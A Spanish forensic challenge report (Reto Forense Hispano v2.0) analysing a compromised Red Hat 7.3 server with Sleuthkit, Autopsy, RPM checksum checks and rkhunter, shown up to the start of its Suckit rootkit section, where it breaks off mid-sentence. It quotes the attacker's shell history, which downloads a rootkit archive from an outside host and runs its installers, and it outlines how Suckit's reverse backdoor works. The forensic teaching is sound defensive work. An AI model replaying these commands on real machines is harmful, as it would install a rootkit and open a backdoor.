Reto Forense Hispano v - UNAM-CERT

Reto Forense Hispano v.2.0
Informe Técnico
José Ignacio Parra [email protected]
Víctor Barahona [email protected]
Quique López [email protected]
Madrid, España
1
INTRODUCCIÓN
1. Primeros pasos: preparación del entorno y recogida datos inicial.
1.1. Preparación del entorno forense.
1.1.1. Estación de trabajo independiente.
1.1.2. Máquina test: equipo con el mismo SO que la atacada.
1.1.3. Software utilizado para el análisis.
1.2. Descarga y verificación de imágenes suministradas.
1.3. Montaje de las imágenes en la estación de trabajo independiente para
su análisis en frío.
1.4. Recogida inicial de datos para su posterior análisis.
2. Estudio forense de las evidencias.
2.1. Análisis del software instalado en la maquina atacada.
2.2. Comprobación de la existencia de una intrusión.
2.3. Búsqueda de los agentes causales de la modificación de los archivos.
2.3.1. Hipótesis rootkit instalado.
2.3.1.1. Suckit.
2.3.1.2. SHV4.
2.3.2. Hipótesis un virus en Linux:
2.3.2.1. Linux/RST.b.
2.3.2.2. Linux/OSF.a.
2.4. De como el atacante entra en el sistema.
2.5. Descripción del compromiso.
3. Análisis de las herramientas instaladas por el atacante.
3.1. Scanner y exploit de Samba: woot.tgz.
3.2. Scanner y exploit de Apache+ssl: selena.tgz.
3.3. Rootkit y backdoor: crk.tgz.
3.4. Irc Bouncer: psybnc.tgz.
3.5. Rootkit Suckit: sc.tgz.
3.6. Irc backdoor: https.
3.7. Backdoor: pico.
3.8. Backdoor: za.tgz.
3.9. Exploit: own.
4. Respuestas a las preguntas del reto.
4.1. ¿A que sistema corresponden las imágenes?
4.2. ¿El sistema fue vulnerado?
4.3. ¿Quien (desde donde) ingreso?
4.4. ¿Cómo ingreso?
4.5. ¿Qué recomendaciones harías para minimizar el riesgo de una nueva
intrusión?
2
Introducción
El objetivo principal de este informe es la realización de un análisis forense informático de una
maquina que supuestamente ha sido comprometida. Se realizara un proceso mediante el cual se
reconstruirán a través de distintas técnicas forenses y herramientas, los acontecimientos que
tuvieron lugar desde el momento en que el sistema estaba libre del ataque hasta el momento de la
detección del intruso. Este desarrollo temporal, tiene como fin, averiguar como se produjo el
compromiso, bajo que circunstancias, la procedencia del intruso y momento de la intrusión.
Un segundo objetivo no menos importante es el didáctico, tanto para los investigadores del
presente informe, como para los lectores del mismo. Por nuestra parte, hemos aprendido,
compartido, nos hemos divertido y sobre todo hemos dormido poco durante el tiempo del estudio.
Durante la recolección de las pruebas, hemos usado múltiples herramientas y hemos almacenado
información para escribir probablemente una trilogía de unos cientos de páginas. Sin embargo y en
aras de brevedad exigida por el reto y de la didáctica antes mencionada, solo se han reseñado las
partes más relevantes de esa información para que la lectura sea más ágil y amena.
El documento consta de 4 partes fundamentales que nos ha permitido diseccionar la información
de la forma más clara posible.
Una primera en la que se indican los pasos de cómo preparar un entorno forense para el estudio
del caso, los pasos dados, las herramientas usadas, etc. Es la parte quizás más mecánica, pero sin
duda fundamental y que de no hacerse correctamente tira a traste el resto del trabajo. Una correcta
planificación en la fase de preparación facilitara el poder cumplir el resto de las partes de la forma
más rápida y eficiente.
Una segunda parte en la que se realiza el análisis forense propiamente dicho, buscando la
existencia de la intrusión, su origen, el servicio atacado y los pasos del atacante. Es probablemente
la parte más importante en cuanto a que responde a la mayor parte de las preguntas que
planteaba el reto.
En la tercera parte se estudian todas las herramientas que ha usado el intruso: rootkits, exploits,
scanners, herramientas de IRC, etc. Se describirá su función y como funcionan de forma
pormenorizada.
La cuarta y última parte, se plantea como unas conclusiones finales que responden a las
respuestas que plantaba el reto y resume brevemente los argumentos usados para llegar a dichas
conclusiones.
Ha sido una tarea larga pero apasionante y esperamos que el lector aproveche el trabajo que
hemos realizado.
3
1. Primeros pasos: preparación del entorno y recogida datos inicial.
Antes de comenzar con cualquier tipo de análisis, es fundamental, contar con un entorno
preparado para el estudio forense. En está parte es fundamental la planificación y tener claro que
tipo de acciones vamos a realizar a posteriori, puesto que muchas de las recogidas de información
en imágenes tan grandes como las de este caso, llevan mucho tiempo y un error puede hacer que
todo nuestro trabajo se pierda.
Una vez tenemos el entorno necesario, pasaremos a la recolección inicial de datos para su
posterior análisis. En el caso que nos ocupa, la recogida será en frío, es decir analizando las
imágenes del equipo sin arrancarlo por ejemplo en una máquina virtual. A pesar de que evaluamos
su realización, no hemos estimado necesario realizar un análisis en caliente de la maquina porque
tras el estudio en frío, llegamos a la conclusión de que no nos ofrecía información adicional para
resolver el reto.
1.1.
Preparación del entorno forense
Para poder estudiar las imágenes aportadas por el reto, necesitamos antes de nada preparar un
entorno de trabajo forense, para lo cual daremos los siguientes pasos:
1.1.1. Estación de trabajo independiente
Para realizar el análisis, se monto una maquina virtual del tipo VMware 1 con sistema operativo
RedHat sobre el que se trabajo copiando las imágenes que nos proporcionaron. La razón del uso
de este método es que podemos montar una mini red con la maquina virtual y llegado el caso
podremos incluso montar otra maquina virtual con las imágenes que nos proporcionaron, sin tener
que reinstalar todo el sistema.
Además de los paquetes propios de este sistema operativo, se instaron los paquetes sleuthkit y
autopsy 2 :
sleuthkit-1.73-oss_fc2_1.i386.rpm
autopsy-2.03-oss_fc2_3.i386.rpm
Para realizar todas las pruebas nos conectábamos a la maquina virtual por SSH, habilitando la
opción de guardado de logs desde el cliente SSH, que en este caso usamos el SecureCRT 3 .
En ambos casos, el del cliente SecureCRT y el del programa VMware, se usaron dos versiones de
prueba que caducan a los pocos días.
Antes de empezar a estudiar las imágenes se realizaron una serie de tareas. La primera es
configurar un acceso directo vía SSH con el SecureCRT a la maquina virtual donde vamos a
estudiar las imágenes. Usáremos siempre el usuario root en la maquina virtual, por ser este usuario
el que mas permisos tiene de ejecución de comandos. En este acceso se definió un fichero de log
que será donde se guarde un registro de todos los comandos y salidas ejecutadas a lo largo del
estudio. En el presente informe se pondrán extractos de este fichero de log.
1
VMware. http://www.vmware.com/vmwarestore/newstore/wkst_eval_login.jsp
Los paquetes sleuthkit y autopsy se descargaron de:
http://www.spenneberg.com/redirect.php?url=public/Forensics/sleuthkit/sleuthkit-1.73-oss_fc2_1.i386.rpm
http://www.spenneberg.com/redirect.php?url=public/Forensics/autopsy/autopsy-2.03-oss_fc2_3.i386.rpm
3
SecureCRT, aplicación cliente de telnet, ssh1 y ssh2 www.vandyke.com/products/securecrt/
2
4
Entre las características que dispone el programa SecureCRT se encuentra la ejecución de
comandos al recibir una cadena de respuesta de la maquina a la que nos conectamos. Según esto,
se configuro el SecureCRT para automatizar la entrada en la maquina virtual, posibilitando que se
conecte a la maquina, escriba el password de root y modifique variables de entorno. Se cambio
también en el sistema la variable PS1, o lo que es lo mismo: el prompt del usuario root, para lo cual
se modifico el fichero "/root/.bash_profile". Este formato de línea nos permite tener una idea
de los comandos ejecutados y su uso a lo largo de la realización de las pruebas con las imágenes.
Es interesante sobre todo si hay que presentar estas y otras pruebas en un futuro proceso judicial.
La línea que se mete en el fichero /root/.bash_profile:
PS1='[\u@\h \W - `date +%d/%m/%y-%k:%M:%S_%Z` ]\$ '
export PS1
Dando como resultado un prompt del tipo:
[root@rhas30 root - 13/02/05-15:40:26_CST ]#
Por ultimo, se crea el archivo ".vimrc" en el HOME de root de la maquina virtual (/root). Este
fichero tendrá una única entrada que será "set number". Con esta línea hacemos que todos los
ficheros que se editen con el editor “vi” aparezcan con los números de línea de dicho fichero. Así
será más fácil la localización de las pruebas.
En la presentación de los listados, cada línea vendrá precedida con un número en rojo que indicara
el número de línea en dicho fichero.
1.1.2. Máquina test: equipo con el mismo SO que la atacada
Al igual que en el caso anterior, se procedió a la instalación de una maquina virtual con la versión
7.3 de RedHat 4 con los mismos paquetes y opciones que se instaló la maquina teóricamente
comprometida. Usando esta maquina podemos probar nuestras teorías, ejecutar programas y ver
sus efectos y en general, recrear los pasos que el atacante dio para la realización de la intrusión.
Con objeto de tener la maquina lo más parecida al sistema atacado, además del mismo sistema
operativo, vamos a usar el mismo tipo de instalación que en la maquina atacada. Las opciones de
instalación se sacaron de la maquina comprometida del fichero /root/anaconda-ks.cfg. Para
realizar esta tarea, primero nos bajamos las imágenes, y las instalamos con las opciones que
aparecen en dicho fichero, entre las que destacan:
13 timezone America/Mexico_City
Los grupos de paquetes que se instalaron se listan a continuación. Además se instalaron los
paquetes de la base de datos mysql.
26
27
28
29
30
31
32
33
34
%packages
@ Network Support
@ Messaging and Web Tools
@ Anonymous FTP Server
@ SQL Database Server
@ Web Server
@ DNS Name Server
@ Software Development
@ Kernel Development
4
Se bajaron las imagines iso de la dirección:
ftp://ftp.rediris.es/sites/ftp.redhat.com/pub/redhat/linux/7.3/en/iso/i386
5
1.1.3. Software utilizado para el análisis
A continuación detallamos los programas que hemos utilizado:
Sleuthkit se compone de una serie de herramientas OpenSource en modo línea de comandos que
nos permiten investigar que ha sucedido en una máquina. Entre otras cosas, podemos recoger en
que fecha se han modificado, creado o accedido cualquiera de los ficheros de un sistema de
ficheros. Soporta múltiples sistemas de ficheros y es la herramienta fundamental para el análisis
forense. Muchas de las herramientas usadas en el presente informe están sacadas de comandos
de este paquete. http://www.sleuthkit.org/sleuthkit/index.php
Autopsy es un software OpenSource que nos proporciona un entorno de gestión de casos
forenses. Permite separar distintos casos, agrupar los equipos implicados, es un frontend para
sleuthkit por lo que facilita enormemente su uso, permite hacer anotaciones sobre la marcha e
identifica al investigador/es que trabajan en el caso, manteniendo un registro de las acciones
realizadas por cada uno. Todo esto en un entorno web amigable, fácil de instalar y muy
recomendable
como
base
para
cualquier
análisis
forense
de
este
tipo.
http://www.sleuthkit.org/autopsy/index.php
SecureCRT es un cliente SSH comercial. La razón de usar este en concreto es que disponía de
algunas
funcionalidades
que
nos
facilitaban
la
labor
durante
el
análisis.
http://www.vandyke.com/products/securecrt/
VMWare es un software comercial que permite tener corriendo simultáneamente en un equipo,
varias maquinas virtuales corriendo con distintos sistemas operativos. http://www.vmware.com/
RKhunter es un programa OpenSource que escanea ficheros y directorios buscando rootkits,
backdoors, sniffers, etc., este escaneo lo hace comparando dichos ficheros con una base de datos
donde están definidos ficheros que usan diferentes rootkits, etc. http://www.rootkit.nl/
Herramientas que vienen en el sistema: md5sum, rpm, file, strings, etc.
Como antivirus y detector de malware en general, hemos usado el excelente servicio VirusTotal
que examina con 16 motores antivirus los ficheros enviados. http://www.virustotal.com/
Para búsquedas en general en Internet, inevitablemente Google ha sido la mejor herramienta.
http://www.google.com
1.2. Descarga y verificación de imágenes suministradas.
Realizamos la descarga de las imágenes de uno de los sitios indicados por los organizadores del
reto.
wget http://pgp.rediris.es:16000/reto/*
Procedemos a comprobar la integridad de los ficheros suministrados con la utilidad md5sum. Este
programa realiza una función de hash sobre cada fichero y genera una cadena de 16 dígitos
hexadecimal única para cada fichero. Cualquier modificación por mínima que sea del fichero
original, tendrá como resultado otra cadena de 16 dígitos hexadecimal totalmente diferente. De esa
forma y puesto que la organización del reto publicó la firma md5 de cada una de las imágenes,
procedimos a verificar la integridad de las mismas. Precisamente en este paso descubrimos que
una de las imágenes se había corrompido durante la transferencia y pudimos detectarlo en una
primera fase sin mayores problemas.
6
# mkdir /imagenes
# mv hda*.gz /imagenes
# cd /imágenes
# wget http://pgp.rediris.es:16000/reto/*
# gunzip hda*.gz
# md5sum *.dd
639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd
a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd
b90bbfb50821086f195054013260888c hda3.dd
0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd
eb99858c421ae0a48ac7772600dff57c hda6.dd
Una vez comprobada la no modificación de las imágenes suministradas, se asume que desde que
se crearon las imágenes hasta que llegaron a nuestro poder dichas imágenes no sufrieron
modificaciones.
1.3. Montaje de las imágenes en la estación de trabajo independiente para su
análisis en frío.
Se procede al montaje de las mismas en la maquina virtual anteriormente instalada (estación de
trabajo independiente). Para hacerlo, nos fijamos primero en el nombre que han dado a las
imágenes, hda1.dd, hda2.dd, hda3.dd, hda5.dd y hda6.dd. Según este nombre, podemos suponer
que nos encontramos ante un sistema operativo del tipo Unix montado sobre un ordenador Intel o
compatible, que tiene por lo menos un disco del tipo ide. Esta teoría no tiene que ser
necesariamente cierta, pero la consideraremos para un primer contacto con el sistema.
Intentamos montar la primera imagen (hda1.dd), que generalmente es la partición raíz del sistema.
En el montaje elegimos un sistema de ficheros tipo ext2, que es el mas común en un entorno
Linux, siendo éste el sistema operativo mas utilizado y por lo tanto el mas probable que sea usado
para el sistema que nos ocupa.
# mkdir /reto2
# mkdir /reto2/imagen1
# mount -o loop,ro,nodev -t ext2 /imagenes/hda1.dd /reto2/imagen1
Una vez ejecutados los comandos anteriores sin producir errores, ya tenemos montada la primera
imagen, lo que nos posibilita movernos por ella sin miedo a modificarla. Nos damos cuenta que es
un sistema operativo Redhat y mas concretamente versión 7.3. Este dato lo sacamos del fichero
/etc/redhat-release.
# cat /reto2/imagen1/etc/redhat-release
Red Hat Linux release 7.3 (Valhalla)
Nos queda conocer la correspondencia entre las imágenes proporcionadas y las particiones
físicas/lógicas de la maquina comprometida. En RedHat esta información se encuentra en el
fichero /etc/mtab, este fichero además nos informa que el formato de las particiones es del tipo
ext3.
1
2
3
4
5
6
7
8
/dev/hda1 / ext3 rw 0 0
none /proc proc rw 0 0
usbdevfs /proc/bus/usb usbdevfs rw 0 0
none /dev/pts devpts rw,gid=5,mode=620 0 0
/dev/hda2 /home ext3 rw 0 0
none /dev/shm tmpfs rw 0 0
/dev/hda5 /usr ext3 rw 0 0
/dev/hda3 /var ext3 rw 0 0
7
Nos falta conocer la correspondencia entre la última imagen hda6.dd y su punto de montaje. Para
averiguarlo, vemos el fichero /etc/fstab, este fichero nos informa que la partición buscada es el
swap del equipo y por lo tanto no tiene punto de montaje.
# cat /reto2/imagen1/etc/fstab
LABEL=/
/
none
/dev/pts
LABEL=/home
/home
none
/proc
none
/dev/shm
LABEL=/usr
/usr
LABEL=/var
/var
/dev/hda6
swap
/dev/cdrom
/mnt/cdrom
/dev/fd0
/mnt/floppy
ext3
devpts
ext3
proc
tmpfs
ext3
ext3
swap
iso9660
auto
defaults
1 1
gid=5,mode=620 0 0
defaults
1 2
defaults
0 0
defaults
0 0
defaults
1 2
defaults
1 2
defaults
0 0
noauto,owner,kudzu,ro 0 0
noauto,owner,kudzu 0 0
Según estos dos ficheros, la correspondencia de las imágenes suministradas queda de la siguiente
manera:
Fichero suministrado
hda1.dd
hda2.dd
hda3.dd
hda5.dd
hda6.dd
partición física maquina
/dev/hda1
/dev/hda2
/dev/hda3
/dev/hda5
/dev/hda6
punto de montaje
maquina origen
/
/home
/var
/usr
swap
punto de montaje
maquina virtual
/reto2
/reto2/home
/reto2/var
/reto2/usr
Otro dato importante antes de empezar un estudio exhaustivo de las imágenes es conocer la zona
horaria que esta definida en la maquina comprometida. Este dato es la referencia horaria del
supuesto ataque. Mirando el fichero /etc/sysconfig/clock vemos que esta definida como
ZONE="America/Mexico_City", o lo que es lo mismo Zona CST (Central Standard Time) o
GMT-6.
# vi /reto2/imagen1/etc/sysconfig/clock
1 ZONE="America/Mexico_City"
2 UTC=false
3 ARC=false
A partir de ahora, cuando se realicen referencias horarias, se tomara esta zona como referencia.
En cuanto a la precisión de dicha hora, se asume que es poco precisa al carecer la maquina de un
servidor NTP configurado. Por comodidad y para evitar estar haciendo continuamente el calculo
mental de la zona horaria en relación a nuestro equipo, se procede a meter la línea siguiente en el
fichero
variable
“TZ='America/Mexico_City';
export
TZ“
en
el
fichero
/root/.bash_profile de la maquina virtual.
Ya tenemos los datos para empezar el estudio de la maquina comprometida. Montamos las
diferentes imágenes en un directorio a partir del cual se recreara el sistema atacado para posibilitar
su estudio.
#
#
#
#
#
mkdir
mount
mount
mount
mount
/reto2/hda
-o loop,ro,nodev
-o loop,ro,nodev
-o loop,ro,nodev
-o loop,ro,nodev
-t
-t
-t
-t
ext3
ext3
ext3
ext3
/imagenes/hda1.dd
/imagenes/hda2.dd
/imagenes/hda3.dd
/imagenes/hda5.dd
/reto2/hda
/reto2/hda/home
/reto2/hda/var
/reto2/hda/usr
Quedando los sistemas de ficheros de la siguiente manera una vez montadas las imágenes:
8
/imagenes/hda1.dd
/imagenes/hda2.dd
/imagenes/hda3.dd
/imagenes/hda5.dd
1004024
3020172
3020172
3020140
80176
32860
57676
676624
872844
2833892
2809076
2190100
9%
2%
3%
24%
/reto2/hda
/reto2/hda/home
/reto2/hda/var
/reto2/hda/usr
1.4. Recogida inicial de datos para su posterior análisis.
Antes que nada, decir que todos los comandos que vamos a usar del Sleuthkit en modo línea de
comandos, pueden ser ejecutados desde el Autopsy con un solo click, pero hemos preferido
usarlos en modo línea de comandos para conocerlos más en profundidad y comprender mejor su
funcionamiento.
La información que vamos a recopilar en este punto, es casi un protocolo en cualquier análisis
forense. A partir de esta información cada caso nos llevara a recoger información distinta según el
sistema operativo, la información que se vaya encontrando, etc.
Lo primero que vamos a recoger son los tiempos de modificación, acceso y creación (mactime) de
los ficheros y directorios contenidos en las imágenes. Para ello, vamos a usar una de las
herramientas del Sleuthkit llamada fls.
#
#
#
#
fls
fls
fls
fls
-r
-r
-r
-r
-l
-l
-l
-l
-f
-f
-f
-f
linux-ext3
linux-ext3
linux-ext3
linux-ext3
-z
-z
-z
-z
CST
CST
CST
CST
-m
-m
-m
-m
/ /imagenes/hda1.dd > /reto2/DataFile.txt
/home /imagenes/hda2.dd >> /reto2/DataFile.txt
/var /imagenes/hda3.dd >> /reto2/DataFile.txt
/usr /imagenes/hda5.dd >> /reto2/DataFile.txt
A este listado le añadimos los ficheros que han sido borrados de las 4 particiones, para ello
usamos la herramienta ils que también pertenece al Sleuthkit. Como se pude apreciar no se incluye
la partición swap (hda6.dd) para crear estos listados, dado que, dicha partición no usa el sistema
de ficheros ext3 que estamos analizando. Para analizar el swap se usan otro tipo de técnicas que
luego veremos.
#
#
#
#
ils
ils
ils
ils
-f
-f
-f
-f
linux-ext3
linux-ext3
linux-ext3
linux-ext3
-m
-m
-m
-m
/imagenes/hda1.dd
/imagenes/hda2.dd
/imagenes/hda3.dd
/imagenes/hda5.dd
>>
>>
>>
>>
/reto2/DataFile.txt
/reto2/DataFile.txt
/reto2/DataFile.txt
/reto2/DataFile.txt
El fichero que hemos creado con las herramientas fls e ils, contienen los mactime en formato Epoc
Time (número de segundos a partir de las 00:00:00 horas del día 1 enero de 1970 UTC). Usaremos
la herramienta mactime para crear un fichero con un formato de hora fácilmente inteligible,
transformando el tiempo en formato Epoc Time a un formato “<día de la semana> <mes> <día del
mes> <año> <hora: minuto: segundos>” en la hora local de la maquina atacada. Además esta
herramienta ordena los accesos cronológicamente.
# mactime -b /reto2/DataFile.txt -g /reto2/hda/etc/group -p /reto2/hda/etc/passwd
-z CST6CDT > /reto2/mactime_todo.txt
A continuación vamos a extraer de cada imagen la parte no usada (unallocated) del disco. En esta
información estarán contenidos el espacio sin usar y los ficheros y directorios borrados que aun no
han sido sobrescritos y que nos interesa ver o recuperar. Usaremos la herramienta dls de Sleuthkit.
dls
dls
dls
dls
-f
-f
-f
-f
linux-ext3
linux-ext3
linux-ext3
linux-ext3
/imagenes/hda1.dd
/imagenes/hda2.dd
/imagenes/hda3.dd
/imagenes/hda5.dd
>>
>>
>>
>>
/reto2/hda1.dd.unalloc
/reto2/hda2.dd.unalloc
/reto2/hda3.dd.unalloc
/reto2/hda5.dd.unalloc
Seguidamente extraemos de la información no usada (o borrada) de cada partición las cadenas de
texto (strings) que contengan. Esto nos permitirá más adelante analizarlas en busca de información
que hayan borrado los atacantes o que el sistema haya borrado, pero aun no haya sido
sobrescrita. Vamos a usar la herramienta sstrings de Sleuthkit.
9
sstrings
sstrings
sstrings
sstrings
-a
-a
-a
-a
-t
-t
-t
-t
d
d
d
d
/imagenes/hda1.dd.unalloc
/imagenes/hda2.dd.unalloc
/imagenes/hda3.dd.unalloc
/imagenes/hda5.dd.unalloc
>>
>>
>>
>>
/reto2/hda1.dd.unalloc.asc
/reto2/hda2.dd.unalloc.asc
/reto2/hda3.dd.unalloc.asc
/reto2/hda5.dd.unalloc.asc
Como decíamos antes, la partición hd6 que contiene el swap es un sistema de ficheros especial y
por tanto no podemos analizarla de igual manera. La forma más sencilla de obtener información del
swap es extraer también los strings que contiene. Para ello volveremos a usar la herramienta
sstrings de Sleuthkit.
sstrings -a -t d /imagenes/hda6.dd >> /reto2/hda6.dd.asc
El intruso, en la instalación de un rootkit, borró todos los logs del sistema que se encuentran en
/var/log/; así que no podemos consultar directamente la información que contenían y
compararla con cualquier otra que encontremos. Mas adelante trataremos de recuperar en los
ficheros borrados, al menos parte de estos logs para ser usados como evidencia.
10
2 Estudio forense de las evidencias
Con toda la información obtenida, podemos empezar el análisis del caso.
2.1 Análisis del software instalado en la maquina atacada
El primer listado que vamos a crear es la lista de los paquetes instalados ordenados por fecha de
instalación, siendo las primeras líneas los últimos paquetes instalados. Los datos que podemos
sacar de dicho listado son los paquetes, servicios y programas que tiene la maquina, y sobre todo,
la fecha de instalación de dicha maquina. Esto último lo sabemos al ver que todos los paquetes se
instalaron en una misma fecha, no existiendo apenas diferencia de tiempo entre la instalación de
unos y otros.
# rpm -qa --dbpath /reto2/hda/var/lib/rpm --last > /reto2/rpm_instalados.txt
Al no existir apenas tiempo entre la instalación de unos paquetes y otros, siendo estas diferencias
de tiempo de segundos, asumimos que la instalación de software inicial se realizo en una sola vez.
Según el listado de más abajo, la instalación se realizo el día jueves 20 de enero de 2005 entre las
9:51 y 10:02. Asumimos que en la fecha del termino de la instalación la maquina no había sufrido
ningún tipo de intrusión, siendo el hipotético ataque realizado a partir de esa fecha. Mostramos a
continuación el primer y ultimo paquete instalado en la maquina con su fecha de instalación.
/reto2/rpm_instalados.txt
1 mysqlclient9-3.23.22-6
346 glibc-common-2.2.5-34
jue 20 ene 2005 10:02:42 CST
jue 20 ene 2005 09:51:33 CST
Esta información se corrobora con la fecha de creación/modificación de los ficheros
/root/install.log y /root/install.log.syslog. Siendo ambos ficheros creados por el
programa de instalación de RedHat a modo de logs del dicha instalación.
-rw-r--r--rw-r--r--
1 root
1 root
root
root
11602 ene 20 10:02 install.log
0 ene 20 09:51 install.log.syslog
2.2 Comprobación de la existencia de una intrusión
En casi todas la intrusiones, es habitual que el atacante altere los binarios del sistema para que
oculten sus actividades o le permitan volver a la maquina sin ser detectado. Vamos a comprobar si
se han producido modificaciones de los archivos binarios de la maquina atacada después de la
instalación del sistema. Como vimos antes, la mejor forma de hacerlo es usando la firma md5 de
los ficheros. En los sistemas basados en paquetes rpm, cada uno de los ficheros instalados
almacenan la firma md5 en la base de datos rpm del sistema. Dicha base de datos no es
fácilmente alterable al estar en formato binario y suele contener información confiable. Por ello es
fácil y razonablemente seguro cotejar dicha base de datos contra las firmas actuales de los
ficheros que hay en las imágenes.
El siguiente comando almacena en un fichero la lista los ficheros de los paquetes instalados en la
maquina cuya firma md5 difiere de los que se suministraron con el paquete instalado.
# rpm --root=/reto2/hda -Va > /reto2/rpm_md5.txt
De la lista anterior cogemos los ficheros que han sufrido modificaciones, o lo que es lo mismo, que
su suma md5 es diferente. En otra lista metemos los ficheros que han sido borrados.
# grep "\.5" /reto2/rpm_md5.txt > /reto2/rpm_md5_solo_modificados.txt
11
Mirando los ficheros que han sido modificados, nos encontramos que han cambiado muchos
ficheros binarios del sistema, modificándose tanto el md5 del fichero (columna con valor 5), como
el tamaño de dicho fichero (columna con valor S). A continuación ponemos parte del fichero
rpm_md5_solo_modificados.txt.
/reto2/rpm_md5_solo_modificados.txt
2
3
4
5
6
7
8
9
10
11
12
13
14
16
17
18
19
20
21
22
23
24
25
26
27
28
29
33
34
35
36
41
42
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5....T
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5.....
S.5....T
/bin/ping
/bin/mt
/bin/setserial
/bin/chgrp
/bin/chmod
/bin/chown
/bin/cp
/bin/dd
/bin/df
/bin/ln
/bin/ls
/bin/mkdir
/bin/mknod
/bin/rm
/bin/rmdir
/bin/sync
/bin/touch
/bin/grep
/bin/consolechars
/bin/loadkeys
/bin/tar
/bin/cat
/bin/cut
/bin/sort
/bin/mount
/bin/umount
/bin/vi
/bin/rpm
/bin/doexec
/bin/ipcalc
/bin/usleep
/bin/gettext
/bin/mail
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
S.5....T
/bin/mktemp
S.5....T
/bin/hostname
S.5....T
/bin/netstat
S.5....T c /etc/crontab
S.5....T
/bin/cpio
S.5....T
/bin/ed
S.5....T
/bin/gawk
S.5....T
/bin/gawk-3.1.0
S.5.....
/bin/pgawk
S.5.....
/bin/ash
S.5.....
/bin/ash.static
S.5.....
/bin/gunzip
S.5.....
/bin/gzip
S.5.....
/bin/zcat
S.5.....
/bin/sed
S.5.....
/bin/tcsh
S.5.....
/bin/basename
S.5.....
/bin/date
S.5.....
/bin/echo
S.5.....
/bin/false
S.5.....
/bin/nice
S.5.....
/bin/pwd
S.5.....
/bin/sleep
S.5.....
/bin/stty
S.5.....
/bin/su
S.5.....
/bin/true
S.5.....
/bin/uname
S.5....T
/sbin/init
S.5.....
/bin/arch
S.5.....
/bin/dmesg
S.5.....
/bin/kill
S.5.....
/bin/login
S.5.....
/bin/more
A la vista de esta información podemos estar razonablemente seguros de que la maquina ha
sufrido algún tipo de compromiso. Podría pensar que se ha instalado en la maquina un rootkit o
similar. Sin embargo llama la atención que los únicos binarios (salvo init) modificados están el
directorio /bin y que son prácticamente la totalidad de los ficheros de este directorio. Algunos de
estos ficheros, como date o cut no muestran información del sistema que un rootkit necesite ocultar
por lo que es poco probable que un hayan sido modificados por esa razón. Además, solo hay 5
ficheros que no han sido modificados, bash, egrep, fgrep, igawk y ps. Esto aun es más
sorprendente puesto que el programa ps, que sirve para mostrar los procesos que corren en el
sistema es el primero objetivo de un rootkit. Por tanto, no creemos que hayan sido modificados por
un rootkit. Más adelante veremos que es lo que causo dicha modificación.
Lo que sabemos con toda seguridad tras ver esto es que han sido modificados comandos
binarios del sistema, y que la maquina ha sufrido algún tipo de compromiso.
12
2.3. Búsqueda de los agentes causales de la modificación de los archivos.
Los archivos pueden haber sido modificados por varias causas, a continuación presentamos dos
hipótesis que puedan explicar dicha modificación.
2.3.1. Hipótesis rootkit instalado.
Dado que para tomar el control de una maquina es habitual la instalación de una rootkit, y pese a
que las evidencias anteriormente señaladas, sobre archivos binarios modificados, no parezcan solo
explicables a través de la instalación de un rootkit, trataremos de comprobar si ha existido tal
instalación como hipótesis razonable de intrusión para tomar el control de la maquina. Para buscar
dicho rootkit, usaremos el paquete rkhunter 5 :
rkhunter-1.2.0.tar.gz
Descargamos el paquete de la página web del proyecto, los descomprimirlos y compilarlos. Los
resultados que se ven en la salida de la ejecución del rkhunter no son del todo precisos. Indica
que, a pesar de que existen ficheros en el sistema que pueden pertenecen a algunos rootkits, en
cambio, faltan también algunos ficheros de esos rootkits. La conclusión de esto es que puede
tratarse de variantes de estos rootkits que todavía no están dados de alta en la base de datos del
rkhunter, o que la instalación de algunos de esos rootkits ha sido incompleta.
Ejecutamos el scanner para buscar el rootkit instalado. La salida de este comando por consola
indica la posibilidad de tener algún rootkit. En el listado que adjuntamos, hemos suprimido las
líneas que no aportan información interesante desde el punto de vista del informe:
# /usr/local/bin/rkhunter --checkall --createlogfile --rootdir /reto2/hda
Check rootkits
* Default files and directories
Rootkit 'Flea Linux Rootkit'...
Rootkit 'SHV4'...
Rootkit 'Suckit Rootkit'...
Rootkit 'SunOS Rootkit'...
[
[
[
[
Warning!
Warning!
Warning!
Warning!
]
]
]
]
La ejecución de este programa crea un archivo de log, donde se muestran las comprobaciones que
realiza. Este archivo de logs se encuentra en /var/log/rkhunter.log.
Atendiendo a los ficheros contenidos en este log, llegamos a la conclusión de que hay rastros de
dos rootkits: Suckit y SHV4. Vamos a detallar muy brevemente en los siguientes puntos, los
ficheros encontrados de cada rootkit y la implicación que tiene en la intrusión. Se puede encontrar
una descripción completa de ambos rootkits en la sección 4 “Análisis de las herramientas
instaladas por el atacante”
2.3.1.1. Suckit 6 .
Suckit es un rootkit que no hace uso de binarios modificados, lo que hace es cargarse en la
memoria del kernel, pero en vez de cargarse como un modulo, como hacen otros rootkits de este
tipo (LKM rootkits como adore, rial, heroin, etc.) lo que hace es cargarse directamente a través de
/proc/kmem. Por lo tanto no necesita siquiera soporte para la carga de módulos en el kernel. Una
vez cargado proporciona una puerta trasera inversa, protegida con una contraseña y que se activa
5
6
Rkhunter: http://www.rootkit.nl/
Información sobre el Suckit Root Kit
http://www.phrack.org/phrack/58/p58-0x07
http://hepwww.rl.ac.uk/sysman/april2003/talks/SecurityIncidentReport.ppt
13
ante la llegada de un paquete spoofeado 7 . En este tipo de puerta trasera (inversa), la victima inicia
la conexión y de esta manera el atacante puede saltarse la configuración de la mayoría de los
firewalls.
Lo que hace el rootkit es sustituir el binario /sbin/init por otro que cargara el rootkit en memoria
en cuanto se reinicie la maquina. El fichero init original lo renombra a initxxxx donde xxxx es el
nombre del directorio donde guarda el rootkit los ficheros de configuración.
En el caso que estamos estudiando, en el fichero /.bash_history encontramos que se han
descargado e instalado el rootkit suckit.
/.bash_history
4
5
6
7
8
wget xhack.150m.com/sc.tgz
tar -zxvf sc.tgz
cd sc
./inst
./sk
Durante la ejecución de estos comandos, se cambia el nombre al /sbin/init para llamarlo
/sbin/initsk12 y se copia el rootkit en /sbin/init. Sin embargo, la instalación falla al crear
